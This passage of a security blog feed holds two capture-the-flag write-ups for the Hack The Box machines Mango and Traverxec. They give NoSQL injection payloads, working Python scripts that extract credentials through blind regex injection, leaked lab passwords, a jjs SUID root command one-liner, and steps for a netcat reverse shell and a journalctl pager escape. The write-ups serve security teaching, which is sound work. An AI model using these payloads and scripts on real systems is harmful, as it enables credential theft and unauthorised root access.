<p>Enumerating <code class="language-plaintext highlighter-rouge">port 443</code>’s directories and pages only led to this page.</p>
<p><img src="/assets/images/htb/mango/port_443_analytics.png" alt="" /></p>
<p>It seems that <code class="language-plaintext highlighter-rouge">https://mango.htb</code> or <code class="language-plaintext highlighter-rouge">https://10.10.10.162</code> leads to nothing.</p>
<p>Going back to our nmap scan gives us a subdomain worth investigating.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
</code></pre></div></div>
<p>Adding <code class="language-plaintext highlighter-rouge">staging-order.mango.htb</code> to <code class="language-plaintext highlighter-rouge">/etc/hosts</code> gives us a new webpage - <code class="language-plaintext highlighter-rouge">Sweet & Juicy Mango</code> login page.</p>
<p><img src="/assets/images/htb/mango/port_443_staging.png" alt="" /></p>
<h2 id="nosql-injection">NoSQL Injection</h2>
<p>After manually testing a lot of SQLi payloads, it seems that the login page is not vulnerable to SQLi. After wasting a lot of time in the rabbit hole, I realized that there might be a reason why this machine is named <code class="language-plaintext highlighter-rouge">Mango</code>.</p>
<p><code class="language-plaintext highlighter-rouge">Mango</code> -> <code class="language-plaintext highlighter-rouge">Mongo</code> -> <code class="language-plaintext highlighter-rouge">MongoDB</code> -> <code class="language-plaintext highlighter-rouge">NoSQL injection</code></p>
<p>After trying different NoSQL payloads from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection">PayloadAllTheThings</a>, I got an <code class="language-plaintext highlighter-rouge">HTTP/1.1 302 Found</code> response with this payload.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>username[$ne]=admin&password[$ne]=admin&login=login
</code></pre></div></div>
<p><img src="/assets/images/htb/mango/burp_injection.png" alt="" /></p>
<p>We can extract information using this payload template:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>username[$regex]=^(insert character guess here)&password[$ne]=test&login=login
</code></pre></div></div>
<p>The payload means that the server will return a <code class="language-plaintext highlighter-rouge">302 response</code> if the user value starts with the right character/s.</p>
<p>Automating this attack with a script makes it easier to leak the information we need.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import string
url = 'http://staging-order.mango.htb/'
user = ''
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
data = {'username[$regex]': '^{}'.format(user + c),
'password[$ne]': 'abc',
'login': 'login'
}
print('Trying: {}'.format(user + c))
print('Current user: {}'.format(user))
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
# additional check to break the script
if c == '$':
print('Leaked user: {}'.format(user))
exit()
user += c
print(user)
</code></pre></div></div>
<p>Running this script gives us two users, <code class="language-plaintext highlighter-rouge">admin</code> and <code class="language-plaintext highlighter-rouge">mango</code>.</p>
<p><img src="/assets/images/htb/mango/leak_admin.png" alt="" /></p>
<p>Note: <strong>Edited the script to skip admin user</strong></p>
<p><img src="/assets/images/htb/mango/leak_mango.png" alt="" /></p>
<p>After extracting the users, we need to edit the payload to extract passwords.</p>
<p>This will be the new payload template for password extraction.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>username=admin&password[$regex]=^(insert password guess here)&login=login
</code></pre></div></div>
<p>This script can be used to extract the password for each user:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import string
url = 'http://staging-order.mango.htb/'
password = ''
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
data = {'username[$eq]': 'mango',
'password[$regex]': '^{}'.format(password+c),
'login': 'login'
}
print('Trying: {}'.format(password + c))
print('Current pw: {}'.format(password))
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
if c == '$':
print('Leaked password: {}'.format(password))
exit()
password += c
print(password)
</code></pre></div></div>
<p>User <code class="language-plaintext highlighter-rouge">admin</code> password leak:</p>
<p><img src="/assets/images/htb/mango/admin_pw.png" alt="" /></p>
<p>User <code class="language-plaintext highlighter-rouge">mango</code> password leak:</p>
<p><img src="/assets/images/htb/mango/mango_pw.png" alt="" /></p>
<p>Leaked credentials:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>admin : t9KcS3>!0B#2
mango : h3mXK8RhU~f{]f5H
</code></pre></div></div>
<p>The credentials for mango user worked on SSH login.</p>
<p><img src="/assets/images/htb/mango/mango_user.png" alt="" /></p>
<p>After checking the files of <code class="language-plaintext highlighter-rouge">mango</code>, the file <code class="language-plaintext highlighter-rouge">user.txt</code> does not exist in the home directory. It seems that we still need to check for another user.</p>
<h2 id="privesc-to-admin">PrivEsc to Admin</h2>
<p>Upon checking the list of users on <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, we can see that there is another user named <code class="language-plaintext highlighter-rouge">admin</code>.</p>
<p><img src="/assets/images/htb/mango/users.png" alt="" /></p>
<p>We can try to use the leaked credentials (<code class="language-plaintext highlighter-rouge">admin : t9KcS3>!0B#2</code>) for this user.</p>
<p><img src="/assets/images/htb/mango/su_admin.png" alt="" /></p>
<p>Successfully pivoted to <code class="language-plaintext highlighter-rouge">admin</code> user.</p>
<h2 id="privesc-to-root">PrivEsc to Root</h2>
<p>Executing <a href="https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh">LinEnum.sh</a> shows us that there is an SUID binary that can be exploited.</p>
<p><img src="/assets/images/htb/mango/suid.png" alt="" /></p>
<p>A quick google search about exploiting <code class="language-plaintext highlighter-rouge">jjs</code> leads us to another <a href="https://gtfobins.github.io/gtfobins/jjs/">GTFObins</a> page.</p>
<p><img src="/assets/images/htb/mango/gtfo_suid.png" alt="" /></p>
<p>According to GTFObins, we can execute system commands inside <code class="language-plaintext highlighter-rouge">jjs</code> with a one-liner command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Java.type('java.lang.Runtime').getRuntime().exec('<insert commands here>').waitFor()
</code></pre></div></div>
<p>Since <code class="language-plaintext highlighter-rouge">jjs</code> is SUID enabled, we can execute commands as <code class="language-plaintext highlighter-rouge">root</code>. We can try to write an <code class="language-plaintext highlighter-rouge">SSH public key</code> to <code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys</code> and login via SSH using our private key.</p>
<p>Overwriting <code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys</code> by downloading our public key using <code class="language-plaintext highlighter-rouge">wget</code>.</p>
<p><img src="/assets/images/htb/mango/rooted.png" alt="" /></p>
<p>Successfully logged in as <code class="language-plaintext highlighter-rouge">root</code> using our private key.</p>
<p>–</p>
<p><img src="https://www.hackthebox.eu/badge/image/26849" alt="ar33zy" /></p>ar33zyMango is rated as a medium difficulty linux machine. This machine is hosting a webserver vulnerable to NoSQL injection, allowing attackers to leak credentials that can be used to successfully login via SSH. For privilege escalation, a scripting tool with SUID enabled can be used by attackers to execute shell commands as root.HTB Writeup - Traverxec2020-04-17T00:00:00+00:002020-04-17T00:00:00+00:00https://ar33zy.hackstreetboys.ph/hackthebox/machines/htb-traverxec<p><img src="/assets/images/htb/traverxec/logo.png" alt="" /></p>
<p>Traverxec is one of the beginner friendly boxes in HTB. This machine is hosting a webserver vulnerable to <a href="https://www.rapid7.com/db/modules/exploit/multi/http/nostromo_code_exec">remote code execution</a>, exposing a backup SSH private key for user pivot, and allowing a non-privileged user invoke journalctl as root leading to machine pwn.</p>
<h2 id="recon">Recon</h2>
<p>A quick masscan + nmap scan gives us the following info:</p>
<p><img src="/assets/images/htb/traverxec/scan.png" alt="" /></p>
<p>It seems that the entry point for this machine is limited to 2 ports, via HTTP and via SSH. Credentials are needed for SSH access so let’s proceed with checking up the web server. Take note that the web server is running <code class="language-plaintext highlighter-rouge">nostromo 1.9.6</code>.</p>
<h2 id="nostromo-webserver">Nostromo Webserver</h2>
<p>Upon checking up the web server, it hosts a static page showing <code class="language-plaintext highlighter-rouge">David White's</code> portfolio.</p>
<p><img src="/assets/images/htb/traverxec/page.png" alt="" /></p>
<p>Since this is a easy box, one of the checklists is to search for <code class="language-plaintext highlighter-rouge">nostromo 1.9.6</code> on <a href="https://www.exploit-db.com/">Exploit DB</a>. Searchsploit can be used to query for existing exploit scripts.</p>
<p><img src="/assets/images/htb/traverxec/searchsploit.png" alt="" /></p>
<p>There is an existing python script that can be used to do an RCE to the webserver. This script can be pulled using <code class="language-plaintext highlighter-rouge">-m</code> parameter.</p>
<p>The script can be used as <code class="language-plaintext highlighter-rouge">python 47837.py <Target_IP> <Target_Port> <Command></code>.</p>
<p>A quick check using <code class="language-plaintext highlighter-rouge">id</code> shows that the current user is <code class="language-plaintext highlighter-rouge">www-data</code>. There is also a <code class="language-plaintext highlighter-rouge">netcat</code> binary that has <code class="language-plaintext highlighter-rouge">-e</code> option enabled, this command can be used to do a reverse shell for easier access on the machine.</p>
<p><img src="/assets/images/htb/traverxec/rce.png" alt="" /></p>
<h2 id="privesc-to-david">PrivEsc to David</h2>
<p>A quick check on <code class="language-plaintext highlighter-rouge">/etc/passwd/</code> shows that there is a user named <code class="language-plaintext highlighter-rouge">david</code> in this machine (david - David White the web developer lol).</p>
<p><img src="/assets/images/htb/traverxec/users.png" alt="" /></p>
<p>Sadly, <code class="language-plaintext highlighter-rouge">www-data</code> does not have enough privileges to access <code class="language-plaintext highlighter-rouge">david's</code> home directory. Back to the drawing board.</p>
<p><img src="/assets/images/htb/traverxec/david.png" alt="" /></p>
<p>Backtracking to nostromo web server. The config file gives us the following info:</p>
<p><img src="/assets/images/htb/traverxec/nhttpd.png" alt="" /></p>
<p>There are notable infomation in this conf file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
</code></pre></div></div>
<p>According to <a href="https://www.gsp.com/cgi-bin/man.cgi?section=8&topic=nhttpd">nhttpd</a> documentation, <code class="language-plaintext highlighter-rouge">homedirs</code> option serves the home directories of the machines’ users. This directory can be accessed by entering <code class="language-plaintext highlighter-rouge">~<user></code> in the URL.</p>
<p><img src="/assets/images/htb/traverxec/homedavid.png" alt="" /></p>
<p>Next, <code class="language-plaintext highlighter-rouge">homedirs_public</code> restricts the access within the home directory into a single sub directory. This means that our access is limited to <code class="language-plaintext highlighter-rouge">public_www</code> directory.</p>
<p>We can check the contents of <code class="language-plaintext highlighter-rouge">/home/david/public_www/</code> via shell.</p>
<p>Upon checking, there is a <code class="language-plaintext highlighter-rouge">tgz</code> file (<code class="language-plaintext highlighter-rouge">backup-ssh-identity-files.tgz</code>) inside <code class="language-plaintext highlighter-rouge">/home/david/public_www/protected-file-area/</code>. This file can be extracted using <code class="language-plaintext highlighter-rouge">netcat</code>.</p>
<p><img src="/assets/images/htb/traverxec/files.png" alt="" /></p>
<p>The <code class="language-plaintext highlighter-rouge">tgz</code> file contains david’s backup SSH keys.</p>
<p><img src="/assets/images/htb/traverxec/sshkeys.png" alt="" /></p>
<p>The private key needs a passphrase, this can be cracked using <code class="language-plaintext highlighter-rouge">ssh2john</code>.</p>
<p><img src="/assets/images/htb/traverxec/cracked.png" alt="" /></p>
<p>The passphrase is <code class="language-plaintext highlighter-rouge">hunter</code>. The private key can now be used to login via SSH as <code class="language-plaintext highlighter-rouge">david</code>.</p>
<p><strong>Note: Do not forget to change the file permission of id_rsa to 400/600.</strong></p>
<p><img src="/assets/images/htb/traverxec/davidssh.png" alt="" /></p>
<h2 id="privesc-to-root">PrivEsc to Root</h2>
<p>A quick check on the files inside the home directory shows that there is a script worth investigating.</p>
<p><img src="/assets/images/htb/traverxec/david_files.png" alt="" /></p>
<p>This line in the script can be abused.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /bin/cat
</code></pre></div></div>
<p>According to <a href="https://gtfo.hackademint.org/gtfobins/journalctl/">GTFObins</a>, journalctl invokes a pager. Pager tools can be abused via shell escape.</p>
<p><img src="/assets/images/htb/traverxec/gtfo.png" alt="" /></p>
<p>Since <code class="language-plaintext highlighter-rouge">journalctl</code> can be executed as root, we can use this technique to escalate privileges.</p>
<p><img src="/assets/images/htb/traverxec/fail.png" alt="" /></p>
<p>Executing this command did not invoke a pager, and that is because of <code class="language-plaintext highlighter-rouge">-n</code> parameter. According to <code class="language-plaintext highlighter-rouge">journalctl</code> man page,</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> -n, --lines=
Show the most recent journal events and limit the number of events shown. If --follow is used, this option is implied. The argument is a positive integer or
"all" to disable line limiting. The default value is 10 if no argument is given.
</code></pre></div></div>
<p>The trick we can use is minimizing the terminal, so that it is forced to open a pager even if the output is just 5 lines.</p>
<p><img src="/assets/images/htb/traverxec/pager.png" alt="" /></p>
<p>Executing <code class="language-plaintext highlighter-rouge">!/bin/sh</code> while on a pager gives us root privileges.</p>
<p><img src="/assets/images/htb/traverxec/root.png" alt="" /></p>
<p>–</p>
<p><img src="https://www.hackthebox.eu/badge/image/26849" alt="ar33zy" /></p>ar33zyTraverxec is one of the beginner friendly boxes in HTB. This machine is hosting a webserver vulnerable to remote code execution, exposing a backup SSH private key for user pivot, and allowing a non-privileged user invoke journalctl as root leading to machine pwn.